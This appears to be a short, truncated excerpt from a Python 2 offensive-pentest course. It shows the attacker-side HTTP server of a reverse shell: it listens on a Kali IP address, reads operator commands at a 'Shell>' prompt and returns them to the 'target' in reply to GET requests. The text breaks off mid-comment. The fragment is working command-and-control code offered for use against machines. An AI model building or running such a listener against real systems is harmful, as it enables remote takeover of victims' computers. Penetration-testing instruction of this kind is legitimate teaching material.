The following block of code is on the server side:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# Basic HTTP Serverimport BaseHTTPServer # Built-in library we use to build simple HTTP server HOST_NAME = '10.10.10.100' # Kali IP address PORT_NUMBER = 80 # Listening port number class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request # from the client / target def do_GET(s): #If we got a GET request, we will:- command = raw_input("Shell> ") #take user input s.send_response(200) #return HTML status 200 (OK) s.send_header("Content-type", "text/html") # Inform the target ...